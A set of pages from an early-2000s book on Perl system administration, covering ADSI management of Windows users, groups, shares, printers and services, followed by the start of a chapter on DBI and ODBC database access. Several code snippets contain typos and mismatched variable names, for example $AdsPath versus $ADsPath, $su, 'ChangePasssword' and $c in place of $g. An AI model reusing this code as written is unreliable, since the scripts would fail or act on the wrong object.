There's no single place to find an answer to these questions, but there are a few sources we can draw upon to get most of the picture. The first place is the ADSI documentation, especially the help file mentioned in the earlier sidebar, the sidebar "The Tools of the ADSI Trade". This file has an huge amount of material. For the answer to our question about property and methods names, the place to start in the file is Active Directory Service Interfaces 2.5 figure ADSI Reference figure ADSI System Providers.

The documentation is sometimes the only place to find method names, but there's a second, more interesting approach we can take when looking for property names. We can use metadata provided by ADSI itself. This is where the schema properties concept we mentioned earlier comes into the picture.

Every ADSI object has a property called Schema that yields an ADsPath to its schema object. For instance, the following code:

use Win32::OLE;

$ADsPath = "WinNT://BEESKNEES,computer";
$adsobj  = Win32::OLE->GetObject($ADsPath) or
    die "Unable to retrieve the object for $ADsPath\n";
print "This is a ".$adsobj->{Class}."object, schema is at:\n".
       $adsobj->{Schema},"\n";

will print:

This is a Computer object, schema is at: WinNT://DomainName/Schema/Computer

The value of $adsobj figure {Schema} is an ADsPath to an object that describes the schema for the objects of class Computer in that domain. Here we're using the term "schema" in the same way we used it when talking about LDAP schemas. In LDAP, schemas define which attributes can and must be present in entries of specific object classes. In ADSI, a schema object holds the same information about objects of a certain class and their schema properties.

If we want to see the possible attribute names for an object, we can look at the values of two properties in its schema object: MandatoryProperties and OptionalProperties. Let's change the print statement above to the following:

$schmobj = Win32::OLE->GetObject($adsobj->{Schema}) or
              die "Unable to retrieve the object for $ADsPath\n";
print join("\n",@{$schmobj->{MandatoryProperties}},
                @{$schmobj->{OptionalProperties}}),"\n";

This prints:

Owner
Division
OperatingSystem
OperatingSystemVersion
Processor
ProcessorCount

Now we know the possible schema interface property names in the WinNT namespace for our Computer objects. Pretty nifty.

Schema properties are retrieved and set in a slightly different manner than interface properties. You recall that interface properties are retrieved and set like this:

# retrieving and setting INTERFACE properties
$value = $obj->{property};
$obj->{property} = $value;

Schema properties are retrieved and set using special methods:

# retrieving and setting SCHEMA properties
$value = $obj->Get("property");
$obj->Put("property","value");

Everything we've talked about so far regarding interface properties holds true for schema properties as well (i.e., property cache, SetInfo( ), etc). Besides the need to use special methods to retrieve and set values, the only other place where you'll need to distinguish between the two is in their names. Sometimes the same object may have two different names for essentially the same property, one for the interface property and one for the schema property. For example, these two retrieve the same basic setting for a user:

$len = $userobj->{PasswordMinimumLength};  # the interface property
$len = $userobj->Get("MinPasswordLength"); # the same schema property

There are two kinds of properties because interface properties exist as part of the underlying COM model. When developers define an interface as part of developing a program, they also define the interface properties. Later on, if they want to extend the property set, they have to modify both the COM interface and any code that uses that interface. In ADSI, developers can change the schema properties in a provider without having to modify the underlying COM interface for that provider. It is important to become comfortable with dealing with both kinds of properties because sometimes a piece of data in an object is only made available from within one kind of property and not in the other.

On a practical note, if you are just looking for interface or schema property names and don't want to bother writing a program to find them, I recommend using the Toby Everett ADSI browser mentioned earlier. Figure 6-2 is a sample screen shot of this browser in action.

Figure 6.2. Everett's ADSI browser displaying an Administrators group object

Alternatively, there is a program called ADSIDump in the General folder of the SDK samples that can dump the contents of an entire ADSI tree for you.

6.5.6. Searching

This is the last complication we'll discuss before moving on. In Section 6.4, "LDAP: A Sophisticated Directory Service", we spent considerable time talking about LDAP searches. But here in ADSI-land, we've breathed hardly a word about the subject. This is because from Perl (and any other language that uses the same OLE automation interface), searching with ADSI is a pain -- that is, sub-tree searches, or searches that entail anything but the simplest of search filters are excruciatingly painful. (Others are not so bad.) Complex searches are troublesome because they require you to step out of the ADSI framework and use a whole different methodology to get at your data (not to mention learn more Microsoft acronyms).

But people who do system administration are trained to laugh at pain, so let's start with simple searches before tackling the hard stuff. Simple searches that encompass one object (scope of base) or an object's immediate children (scope of one) can be handled manually with Perl. Here's how:

  • For a single object, retrieve the properties of interest and use the normal Perl comparison operators to determine if this object is a match:

if ($adsobj->{cn} eq "Mark Sausville" and $adsobj->{State} eq "CA"){...}

  • To search the children of an object, use the container object access techniques we discussed previously and then examine each child object in turn. We'll see some examples of this type of search in a moment.

If you want to do more complex searches like those that entail searching a whole directory tree or sub-tree, you need to switch to using a different "middleware" technology called ADO (ActiveX Data Objects). ADO offers scripting languages an interface to Microsoft's OLE DB layer. OLE DB provides a common database-oriented interface to data sources like relational databases and directory services. In our case we'll be using ADO to talk to ADSI (which then talks to the actual directory service). Because ADO is a database-oriented methodology, the code you are about to see foreshadows the ODBC material we cover in Chapter 7, "SQL Database Administration".

TIP

ADO only works when talking to the LDAP ADSI provider. It will not work for the WinNT namespace.

ADO is a whole subject in itself that is only peripherally related to the subject of directory services, so we're only going to look at one example and provide a little bit of explanation before moving on to some more relevant ADSI examples. For more information on ADO itself, please see http://www.microsoft.com/ado.

Here's some code that displays the name of all of the groups to be found in a given domain. We'll go through this code piece by piece in a moment.

use Win32::OLE 'in';

# get ADO object, set the provider, open the connection
$c = Win32::OLE->new("ADODB.Connection");
$c->{Provider} = "ADsDSOObject";
$c->Open("ADSI Provider");
die Win32::OLE->LastError() if Win32::OLE->LastError(  );

# prepare and then execute the query
$ADsPath = "LDAP://ldapserver/dc=example,dc=com";
$rs = $c->Execute("<$ADsPath>;(objectClass=Group);Name;SubTree");
die Win32::OLE->LastError() if Win32::OLE->LastError(  );

until ($rs->EOF){
    print $rs->Fields(0)->{Value},"\n";
    $rs->MoveNext;
}

$rs->Close;
$c->Close;

The block of code after the module load gets an ADO Connection object instance sets that object instance's provider name, and then instructs it to open the connection. This connection is opened on behalf of the user running the script, though we could have set some other object properties to change this.

We then perform the actual search using Execute( ). This search can be specified using one of two "dialects," SQL or ADSI.[5] The ADSI dialect, as shown, uses a command string consisting as four arguments, each separated by semicolons.[6] The arguments are:

[5]If you know SQL, you may find the SQL dialect a little easier. The SQL dialect offers some interesting possibilities. For instance, MS SQL Server 7 can be configured to know about ADSI providers in addition to normal databases. This means that you can execute SQL queries which simultaneously access ActiveDirectory objects via ADSI.

[6]Be careful of this ADSI ADO provider quirk: there cannot be any whitespace around the semicolons or the query will fail.

  • An ADsPath (in angle brackets) that sets the server and base DN for the search

  • A search filter (using the same LDAP filter syntax we saw before)

  • The name or names (separated by commas) of the properties to return

  • A search scope of either Base, OneLevel, or SubTree (as per the LDAP standard)

Execute( ) returns a reference to the first of the ADO RecordSet objects returned by our query. We ask for each RecordSet object in turn, unpacking the objects it holds and printing the Value property returned by the Fields( ) method for each of these objects. The Value property contains the value we requested in our command string (the name of the Group object). Here's some sample output from a Windows 2000 machine:

Administrators
Users
Guests
Backup Operators
Replicator
Server Operators
Account Operators
Print Operators
DHCP Users
DHCP Administrators
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
Domain Guests
Group Policy Admins
RAS and IAS Servers
DnsAdmins
DnsUpdateProxy

6.5.7. Performing Common Tasks Using the WinNT and LDAP Namespaces

Now that we've safely emerged from our list of complications, we can turn to performing some common administrative tasks using ADSI from Perl. The goal is to give you a taste of the things you can do with the ADSI information we've presented. Then you can use the code we're going to see as starter recipes for your own programming.

For these tasks, we'll use one of two namespaces. The first namespace is WinNT, which gives us access to Windows 4.0 objects like users, groups, printers, services, etc.

The second is our friend LDAP. LDAP becomes the provider of choice when we move on to Windows 2000 and its LDAP-based Active Directory. Most of the WinNT objects can be accessed via LDAP as well. But even with Windows 2000, there are still tasks that can only be performed using the WinNT namespace (like the creation of local machine accounts).

The code that works with these different namespaces looks similar (after all, that's part of the point of using ADSI), but you should note two important differences. First, the ADsPath format is slightly different. The WinNT ADsPath takes one of these forms according to the ADSI SDK:

WinNT:[//DomainName[/ComputerName[/ObjectName[,className]]]]
WinNT:[//DomainName[/ObjectName[,className]]]
WinNT:[//ComputerName,computer]
WinNT:

The LDAP ADsPath looks like this:

LDAP://HostName[:PortNumber][/DistinguishedName]

Note that the LDAP ADsPath requires a server hostname under NT4 (this changes in Windows 2000). This means that the LDAP namespace isn't browsable from its top-level like the WinNT namespace, since you have to point it at a starting server. With the WinNT namespace, one can begin with an ADsPath of just WinNT: to start drilling down into the domain hierarchy.

Also note that the properties of the objects in the two namespaces are similar, but they are not the same. For instance, you can access the same user objects from both the WinNT and LDAP namespaces, but you can only get to some Active Directory properties for a particular user object through the LDAP namespace.

It's especially important to pay attention to the differences between the schema found in the two namespaces. For example, the User class for WinNT has no mandatory properties while the LDAP User class requires cn and samAccountName to be present in every user object.

With these differences in mind, let's look at some actual code. To save space, we're going to omit most of the error checking, but you'll want to run your scripts with the -w switch and liberally sprinkle lines like this throughout your code:

die "OLE error :".Win32::OLE->LastError() if Win32::OLE->LastError(  );

6.5.8. Working with Users via ADSI

To dump the list of users in a domain:

use Win32::OLE 'in';

$AdsPath = "WinNT://DomainName/PDCName,computer";
$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";
foreach $adsobj (in $c){
    print $adsobj->{Name},"\n" if ($adsobj->{Class} eq "User");
}

To create a user and set her or his Full Name:

use Win32::OLE;

$ADsPath="WinNT://DomainName/ComputerName,computer";
$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

# create and return a User object
$u = $c->Create("user",$username);
$u->SetInfo(  );  # we have to create the user before we modify it

# no space between "Full" and "Name" allowed with WinNT: namespace
$u->{FullName} = $fullname;
$su->SetInfo(  );

If ComputerName is a Primary Domain Controller, then a domain user is created. If not, that user is local to the specified machine.

The equivalent code to create a global user (you can't create local users using LDAP) in an Active Directory looks like this:

use Win32::OLE;

$AdsPath = "LDAP://ldapserver,CN=Users,dc=example,dc=com";

$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

# create and return a User object
$u=$c->Create("user","cn=".$commonname);
$u->{samAccountName} = $username;
# we have to create the user in the dir before we modify it
$u->SetInfo(  );

# space between "Full" and "Name" required with LDAP: namespace, sigh
$u->{'Full Name'} = $fullname;
$u->SetInfo(  );

Deleting a user requires just a small change:

use Win32::OLE;

$AdsPath = "WinNT://DomainName/ComputerName,computer";
$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

# delete the User object, note that we are bound to the container object
$c->Delete("user",$username);
$u->SetInfo(  );

Changing a user's password is a single method's work:

use Win32::OLE;

$AdsPath = "WinNT://DomainName/ComputerName/".$username;
$u = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

$u->ChangePasssword($oldpassword,$newpassword);
$u->SetInfo(  );

6.5.9. Working with Groups via ADSI

You can enumerate the available groups with just a minor tweak of our user enumeration code above. The one changed line is:

print $adsobj->{Name},"\n" if ($adsobj->{Class} eq "Group");

Creation and deletion of groups is performed using the same Create( ) and Delete( ) methods we just saw for user account and creation. The only difference is the first argument needs to be "group." For example:

$g = $c->Create("group",$groupname);

To add a user to a group (specified as a GroupName) once you've created it:

use Win32::OLE;

$AdsPath = "WinNT://DomainName/GroupName,group";

$g = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

# this uses the ADsPath to a specific user object
$g->Add($userADsPath);

The same rules we saw before about local versus domain (global) users apply here as well. If we want to add a domain user to our group, our $userADsPath should reference the user at the PDC for that domain.

To remove a user from a group, use:

$c->Remove($userADsPath);

6.5.10. Working with File Shares via ADSI

Now we start to get into some of the more interesting ADSI esoterica. It is possible to use ADSI to instruct a machine to start sharing a part of its local storage to other computers:

use Win32::OLE;

$AdsPath = "WinNT://ComputerName/lanmanserver";

$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

$s = $c->Create("fileshare",$sharename);
$s->{path}        = 'C:\directory';
$s->{description} = "This is a Perl created share";
$s->SetInfo(  );

File shares are deleted using the Delete( ) method.

Before we move on to other tasks, let me take this opportunity to remind you to closely consult the SDK documentation before using any of these ADSI objects. Sometimes, you'll find useful surprises. If you look at this section in the ADSI 2.5 help file: Active Directory Service Interfaces 2.5 figure ADSI Reference figure ADSI Interfaces figure Persistent Object Interfaces figure IADsFileShare, you'll see that a fileshare object has a CurrentUserCount property that shows how many users are currently connected to this file share. This could be a very handy detail.

6.5.11. Working with Print Queues and Print Jobs via ADSI

Here's how to determine the names of the queues on a particular server and the models of the printers being used to serve those queues:

use Win32::OLE 'in';

$ADsPath="WinNT://DomainName/PrintServerName,computer";

$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

foreach $adsobj (in $c){
    print $adsobj->{Name}.":".$adsobj->{Model}."\n"
      if ($adsobj->{Class} eq "PrintQueue");
}

Once you have the name of a print queue, you can bind to it directly to query and control it:

use Win32::OLE 'in';

# this table comes from this section in the ADSI 2.5 SDK:
# 'Active Directory Service Interfaces 2.5->ADSI Reference->
# ADSI Interfaces->Dynamic Object Interfaces->IADsPrintQueueOperations->
# IADsPrintQueueOperations Property Methods' (phew)

%status =
  (0x00000001 => 'PAUSED',            0x00000002 => 'PENDING_DELETION',
   0x00000003 => 'ERROR' ,            0x00000004 => 'PAPER_JAM',
   0x00000005 => 'PAPER_OUT',         0x00000006 => 'MANUAL_FEED',
   0x00000007 => 'PAPER_PROBLEM',     0x00000008 => 'OFFLINE',
   0x00000100 => 'IO_ACTIVE',         0x00000200 => 'BUSY',
   0x00000400 => 'PRINTING',          0x00000800 => 'OUTPUT_BIN_FULL',
   0x00001000 => 'NOT_AVAILABLE',     0x00002000 => 'WAITING',
   0x00004000 => 'PROCESSING',        0x00008000 => 'INITIALIZING',
   0x00010000 => 'WARMING_UP',        0x00020000 => 'TONER_LOW',
   0x00040000 => 'NO_TONER',          0x00080000 => 'PAGE_PUNT',
   0x00100000 => 'USER_INTERVENTION', 0x00200000 => 'OUT_OF_MEMORY',
   0x00400000 => 'DOOR_OPEN',         0x00800000 => 'SERVER_UNKNOWN',
   0x01000000 => 'POWER_SAVE');

$ADsPath = "WinNT://PrintServerName/PrintQueueName";

$p = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

print "The printer status for " . $c->{Name} . " is " .
   ((exists $p->{status}) ? $status{$c->{status}} : "NOT ACTIVE") . "\n";

The PrintQueue object offers the set of print queue control methods you'd hope for: Pause( ), Resume( ), and Purge( ). These allow us to control the actions of the queue itself. But what if we want to examine or manipulate the actual jobs in this queue?

To get at the actual jobs, you call a PrintQueue object method called PrintJobs( ). PrintJobs( ) returns a collection of PrintJob objects, each of which has a set of properties and methods. For instance, here's how to show the jobs in a particular queue:

use Win32::OLE 'in';

# this table comes from this section in the ADSI 2.5 SDK:
# 'Active Directory Service Interfaces 2.5->ADSI Reference->
# ADSI Interfaces->Dynamic Object Interfaces->IADsPrintJobOperations->
# IADsPrintJobOperations Property Methods' (double phew)

%status = (0x00000001 => 'PAUSED',  0x00000002 => 'ERROR',
           0x00000004 => 'DELETING',0x00000010 => 'PRINTING',
           0x00000020 => 'OFFLINE', 0x00000040 => 'PAPEROUT',
           0x00000080 => 'PRINTED', 0x00000100 => 'DELETED');

$ADsPath = "WinNT://PrintServerName/PrintQueueName";

$p = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

$jobs = $p->PrintJobs(  );
foreach $job (in $jobs){
  print $job->{User} . "\t" . $job->{Description} . "\t" .
        $status{$job->{status}} . "\n";
}

Each job can be Pause( )d and Resume( )d as well.

6.5.12. Working with NT/2000 Services via ADSI

For our last set of examples, we're going to look at how to locate, start, and stop the services on an NT/2000 machine. Like the other examples in this chapter, these code snippets must be run from an account with sufficient privileges on the target computer to effect changes.

To list the services on a computer and their status, we could use this code:

use Win32::OLE 'in';

# this table comes from this section in the ADSI 2.5 SDK:
# 'Active Directory Service Interfaces 2.5->ADSI Reference->
# ADSI Interfaces->Dynamic Object Interfaces->IADsServiceOperations->
# IADsServiceOperations Property Methods'

%status =
  (0x00000001 => 'STOPPED',         0x00000002 => 'START_PENDING',
   0x00000003 => 'STOP_PENDING',    0x00000004 => 'RUNNING',
   0x00000005 => 'CONTINUE_PENDING',0x00000006 => 'PAUSE_PENDING',
   0x00000007 => 'PAUSED',          0x00000008 => 'ERROR');

$ADsPath = "WinNT://DomainName/ComputerName,computer";

$c = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

foreach $adsobj (in $c){
  print $adsobj->{DisplayName} . ":" . $status{$adsobj->{status}} . "\n"
      if ($adsobj->{Class} eq "Service");
}

To start, stop, pause, or continue a service, we call the obvious method (Start( ), Stop( ), etc.). Here's how we might start the Network Time service on a Windows 2000 machine if it were stopped:

use Win32::OLE;

$ADsPath = "WinNT://DomainName/ComputerName/W32Time,service";

$s = Win32::OLE->GetObject($ADsPath) or die "Unable to get $ADsPath\n";

$s->Start(  );
# may wish to check status at this point, looping until it is started

To avoid potential user- and computer name conflicts, the previous code can also be written as:

use Win32::OLE;

$d = Win32::OLE->GetObject("WinNT://Domain");
$c = $d->GetObject("Computer", $computername);
$s = $c->GetObject("Service", "W32Time");

$s->Start(  );

Stopping it is just a matter of changing the last line to:

$s->Stop(  );
# may wish to check status at this point, looping until it is stopped

These examples should give you some idea of the amount of control ADSI from Perl can give you over your system administration work. Directory services and their interfaces can be a very powerful part of your computing infrastructure.

Previous | Home | Next
6.4. LDAP: A Sophisticated Directory Service | Book Index | 6.6. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.6. Module Information for This Chapter

Name | CPAN ID | Version
Net::Telnet | JROGERS | 3.01
Net::Finger | FIMM | 1.05
Net::Whois | DHUDES | 1.9
Net::LDAP | GBARR | 0.20
Mozilla::LDAP | LEIFHED | 1.4
Sys::Hostname (ships with Perl) |  |
Win32::OLE (ships with ActiveState Perl) | JDB | 1.11
Previous | Home | Next
6.5. ADSI (Active Directory Service Interfaces) | Book Index | 6.7. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.7. References for More Information

6.7.1. Finger

RFC1288:The Finger User Information Protocol, D. Zimmerman, 1991.

6.7.2. WHOIS

ftp://sipb.mit.edu/pub/whois/whois-servers.list is a list of most major WHOIS servers.

RFC954:NICNAME/WHOIS, K. Harrenstien, M. Stahl, and E. Feinler, 1985.

6.7.3. LDAP

An Internet Approach to Directories, Netscape, 1997 (found at http://developer.netscape.com/docs/manuals/ldap/ldap.html ) is an excellent white paper introduction to LDAP.

An LDAP Roadmap & FAQ, Jeff Hodges, 1999 (found at http://www.kingsmountain.com/ldapRoadmap.shtml).

http://www.ogre.com/ldap/ and http://www.linc-dev.com/ are the home pages for the co-developers of PerLDAP.

http://www.openldap.org/ is a free LDAP server under active development.

http://www.umich.edu/~dirsvcs/ldap/index.html is home of the parent of both the OpenLDAP and Netscape directory servers. Some of the introduction documentation is still quite useful.

Implementing LDAP, by Mark Wilcox (Wrox Press, 1999).

LDAP-HOWTO, Mark Grennan, 1999 (found at http://www.grennan.com/ldap-HOWTO.html).

LDAP Overview Presentation, Bruce Greenblatt, 1999 (found at http://www.directory-applications.com/presentation/).

LDAP:Programming Directory-Enabled Applications With Lightweight Directory Access Protocol, by Tim Howes and Mark Smith (Macmillan Technical Publishing, 1997).

Netscape Directory Server Administrator's / Installation/Deployment Guides and SDK documentation (found at http://developer.netscape.com/docs/manuals/directory.html).

RFC1823:The LDAP Application Program Interface, T. Howes and M. Smith, 1995.

RFC2222:Simple Authentication and Security Layer (SASL), J. Myers, 1997.

RFC2251:Lightweight Directory Access Protocol (v3), M. Wahl, T. Howes, and S.Kille, 1997.

RFC2252:Lightweight Directory Access Protocol (v3):Attribute Syntax Definitions, M.Wahl, A. Coulbeck, T. Howes, and S. Kille, 1997.

RFC2254:The String Representation of LDAP Search Filters, T. Howes, 1997.

RFC2255:The LDAP URL Format, T. Howes and M. Smith, 1997.

RFC2256:A Summary of the X.500(96) User Schema for use with LDAPv3, M. Wahl, 1997.

The LDAP Data Interchange Format (LDIF)--Technical Specification (work in progress), Gordon Good, 1999 (found at http://search.ietf.org/internet-drafts/draft-good-ldap-ldif-0X.txt where X is the current version number.

Understanding and Deploying Ldap Directory Services, by Tim Howes, Mark Smith, and Gordon Good (Macmillan Technical Publishing, 1998).

Understanding LDAP, Heinz Jonner, Larry Brown, Franz-Stefan Hinner, Wolfgang Reis, and Johan Westman, 1998 (found at http://www.redbooks.ibm.com/abstracts/sg244986.html). A superb "Redbook" introduction to LDAP.

6.7.4. ADSI

http://cwashington.netreach.net/ is another good (non-Perl specific) site on scripting ADSI and other Microsoft technologies.

http://www.microsoft.com/adsi is the canonical source for ADSI information; be sure to download the ADSI SDK from here.

http://opensource.activestate.com/authors/tobyeverett contains Toby Everett's collection of documentation on using ADSI from Perl.

http://www.15seconds.com is another good (non-Perl specific) site on scripting ADSI and other Microsoft technologies.

Windows 2000 Active Directory, by Alistair G. Lowe-Norris (O'Reilly, 1999).

Previous | Home | Next
6.6. Module Information for This Chapter | Book Index | 7. SQL Database Administration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL Database Administration (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 7. SQL Database Administration

Contents:

Interacting with an SQL Server from Perl
Using the DBI Framework
Using the ODBC Framework
Server Documentation
Database Logins
Monitoring Server Health
Module Information for This Chapter
References for More Information

What's a chapter on database administration doing in a system administration book? There are three strong reasons for people with interests in Perl and system administration to become database-savvy:

  1. A not-so-subtle thread running through several chapters of this book is the increasing importance of databases to modern-day system administration. We've used (albeit simple) databases to keep track of user and machine information; that's just the tip of the iceberg. Mailing lists, password files, and even the Windows NT/2000 registry are all examples of databases you probably see every day. All large-scale system administration packages (e.g., offerings from CA, Tivoli, HP, and Microsoft) are dependent on database backends. If you are planning to do any serious system administration, you are bound to bump into a database eventually.

  2. Database administration is a play-within-a-play for system administrators. Database Administrators (DBAs) have to contend with, among other things:

    Logins/users

    Log files

    Storage management (disk space, etc.)

    Process management

    Connectivity issues

    Backup

    Security

    Sound familiar? We can and should learn from both knowledge domains.

  3. Perl is a glue language, arguably one of the best. Much work has gone into Perl/database integration, thanks mostly to the tremendous energy surrounding Web development. We can put this effort to work for us. Though Perl can integrate with several different database formats like Unix DBM, Berkeley DB, etc., we're going to pay attention in this chapter to the Perl's interface with large-scale database products. Other formats are addressed elsewhere in this book.

In order to be a database-literate system administrator, you have to speak a little Structured Query Language (SQL), the lingua franca of most commercial and several noncommercial databases. Writing scripts in Perl for database administration requires some SQL knowledge because these scripts will contain simple embedded SQL statements. See Appendix D, "The Fifteen-Minute SQL Tutorial", for enough SQL to get you started. The examples in this chapter use the same databases in previous chapters to keep us from straying from the system administration realm.

7.1. Interacting with an SQL Server from Perl

There are two standard frameworks for communication with an SQL server: DBI (DataBase Interface) and ODBC (Open DataBase Connectivity). Once upon a time, DBI was the Unix standard and ODBC the Win32 standard, but this distinction has started to blur now that ODBC has become available in the Unix world and DBI has been ported to Win32. Further blurring the lines is the DBD::ODBC package, a DBD module that speaks ODBC from within the DBI framework.[1]

[1]In addition to the standards we are going to discuss, there are some excellent server and OS-specific Perl mechanisms. Sybperl by Michael Peppler for Perl-Sybase communication is one example. Many of these nonstandard mechanisms are also available as DBI-ified modules. For instance, most Sybperl functionality is now available in DBD::Sybase. On Win32 platforms the ActiveX Data Objects (ADO) framework mentioned in the previous chapter is starting to see wider use.

DBI and ODBC are very similar in intent and execution, so we'll show you how to use both simultaneously. Both DBI and ODBC can be thought of as "middleware." They form a layer of abstraction that allows the programmer to write code using generic DBI/ODBC calls, without having to know the specific API of any particular database. It is then up to the DBI/ODBC software to hand these calls off to a database-specific layer. The DBI module calls a DBD driver for this; the ODBC Manager calls the data source-specific ODBC driver. This database-specific driver takes care of the nitty-gritty details necessary for communicating with the server in question. Figure 7-1 shows the DBI and ODBC architectures. In both cases, there is a (at least) three-tiered model:

Figure 7.1. DBI and ODBC architectures

  1. An underlying database (Oracle, MySQL, Sybase, Microsoft SQL Server, etc.).

  2. A database-specific layer that makes the actual server-specific requests to the server on behalf of the programmer. Programmers don't directly communicate with this layer; they use the third tier. In DBI, a specific DBD module handles this layer. When talking with an Oracle database, the DBD::Oracle module would be invoked. DBD modules are usually linked during the building process to a server-specific client library provided by the server vendor. With ODBC, a data-source-specific ODBC driver provided by the vendor handles this layer.

  3. A database-independent Application Programming Interface (API) layer. Soon, we'll be writing Perl scripts that will communicate with this layer. In DBI, this is known as the DBI layer (i.e., we'll be making DBI calls). In ODBC, one typically communicates with the ODBC Driver Manager via ODBC API calls.

The beauty of this system is that code written for DBI or ODBC is extremely portable between different servers from different vendors. The API calls made are the same, independent of the underlying database. That's the idea at least, and it holds true for most database programming. Unfortunately, the sort of code we're most likely to write (i.e., database administration) is bound to be server-specific, since virtually no two servers are administered in even a remotely similar fashion.[2] Experienced system administrators love portable solutions, but they don't expect them.

[2]MS-SQL was initially derived from Sybase source code, so it's one of the rare counter-examples.

That somber thought aside, let's look at how to use DBI and ODBC. Both technologies follow the same basic steps, so you may notice a little redundancy in the explanations, or at least in the headings.

The next sections assume you've installed a database server and the necessary Perl modules. For some of our DBI example code, we're going to use the MySQL server; for ODBC, we'll use Microsoft's SQL Server.

Bridging the Unix-NT/2000 Database Divide

A common question asked by multiplatform system administrators is "How can I talk to my Microsoft SQL Server from my Unix machine?" If an environment's central administration or monitoring system is Unix-based, then a new MS-SQL server installation presents a challenge. I know of three ways to deal with this situation. Choices 2 and 3 below are not SQL-server-specific, so even if you are not using Microsoft SQL Server in your environment, you may find these techniques will come in handy some day.

  1. Build and use DBD::Sybase. DBD::Sybase will require some underlying database communication libraries. There are two sets of libraries available that will fit the bill. The first one, Sybase OpenClient libraries, may be available for your platform (e.g., they ship for free with some Linux distributions as part of the Sybase Adaptive Server Enterprise). If your MS-SQL server is Version 6.5 or lower, DBD::Sybase built with these libraries will work. If it is 7.0 or higher, you may need to get a compatibility patch from Microsoft. For information on this patch, see http://support.microsoft.com/support/kb/articles/q239/8/83.asp (KB article Q239883). Your second option is to install the FreeTDS libraries found at http://www.freetds.org. See the instructions on this site for building the correct protocol version for the server you will be using.

  2. Use DBD::Proxy. There is a DBD module that ships with DBI called DBD::Proxy. It allows you to run a small network server on your MS-SQL server machine to transparently proxy requests from your Unix clients to the server.

  3. Acquire and use Unix ODBC software via DBD::ODBC. Several vendors, including MERANT (http://www.merant.com) and OpenLink Software (http://www.openlinksw.com), will sell this to you or you can attempt to use the work of the various Open Source developers. For more information, see Brian Jepson's freeODBC page at http://users.ids.net/~bjepson/freeODBC. You will need both an ODBC driver for your Unix platform (provided by the database vendor) and an ODBC manager (such as unixODBC or iODBC).

Previous | Home | Next
6.7. References for More Information | Book Index | 7.2. Using the DBI Framework
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using the DBI Framework (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.2. Using the DBI Framework

Here are the basic steps for using DBI. For more information on DBI, see Programming the Perl DBI by Alligator Descartes and Tim Bunce (O'Reilly).

Step 1: Load the necessary Perl module

Nothing special here, you need to just:

use DBI;
Step 2: Connect to the database and receive a connection handle

The Perl code to establish a DBI connection to a MySQL database and return a database handle looks like this:

# connect using to the database named $database using given
# username and password, return a database handle
$database = "sysadm";
$dbh = DBI->connect("DBI:mysql:$database",$username,$pw);
die "Unable to connect: $DBI::errstr\n" unless (defined $dbh);

DBI will load the low-level DBD driver for us (DBD::mysql) prior to actually connecting to the server. We then test if the connect( ) succeeded before continuing. DBI provides RaiseError and PrintError options for connect( ), should we want DBI to perform this test or automatically complain about errors when they happen. For example, if we used:

$dbh = DBI->connect("DBI:mysql:$database",
                    $username,$pw,{RaiseError => 1});

then DBI would call die for us if the connect( ) failed.

Step 3: Send SQL commands to the server

With our Perl module loaded and a connection to the database server in place, it's showtime! Let's send some SQL commands to the server. We'll use some of the SQL tutorial queries from Appendix D, "The Fifteen-Minute SQL Tutorial" for examples. These queries will use the Perl q convention for quoting (i.e., something is written as q{something}), just so we don't have to worry about single or double quotes in the actual queries themselves. Here's the first of the two DBI methods for sending commands:

$results=$dbh->do(q{UPDATE hosts
                    SET bldg = 'Main'
                    WHERE name = 'bendir'});
die "Unable to perform update:$DBI::errstr\n" unless (defined $results);

$results will receive either the number of rows updated or undef if an error occurs. Though it is useful to know how many rows were affected, that's not going to cut it for statements like SELECT where we need to see the actual data. This is where the second method comes in.

To use the second method you first prepare a SQL statement for use and then you ask the server to execute it. Here's an example:

$sth = $dbh->prepare(q{SELECT * from hosts}) or
  die "Unable to prep our query:".$dbh->errstr."\n";
$rc = $sth->execute or
  die "Unable to execute our query:".$dbh->errstr."\n";

prepare( ) returns a new creature we haven't seen before: the statement handle. Just like a database handle refers to an open database connection, a statement handle refers to a particular SQL statement we've prepare( )d. Once we have this statement handle, we use execute to actually send the query to our server. Later on, we'll be using the same statement handle to retrieve the results of our query.

You might wonder why we bother to prepare( ) a statement instead of just executing it directly. prepare( )ing a statement gives the DBD driver (or more likely the database client library it calls) a chance to parse the SQL query. Once a statement has prepare( )d, we can execute it repeatedly via our statement handle without parsing it over and over. Often this is a major efficiency win. In fact, the default do( ) DBI method does a prepare( ) and then execute( ) behind the scenes for each statement it is asked to execute.

Like the do call we saw earlier, execute( ) returns the number of rows affected. If the query affects zero rows, the string 0E0 is returned to allow a Boolean test to succeed. -1 is returned if the number of rows affected is unknown by the driver.

Before we move on to ODBC, it is worth mentioning one more twist supported by most DBD modules on the prepare( ) theme: placeholders. Placeholders, also called positional markers, allow you to prepare( ) an SQL statement that has holes in it to be filled at execute( ) time. This allows you to construct queries on the fly without paying most of the parse time penalty. The question mark character is used as the placeholder for a single scalar value. Here's some Perl code to demonstrate the use of placeholders:

@machines = qw(bendir shimmer sander);
$sth = $dbh->prepare(q{SELECT name, ipaddr FROM hosts WHERE name = ?});
foreach $name (@machines){
  $sth->execute($name);
  do-something-with-the-results
}

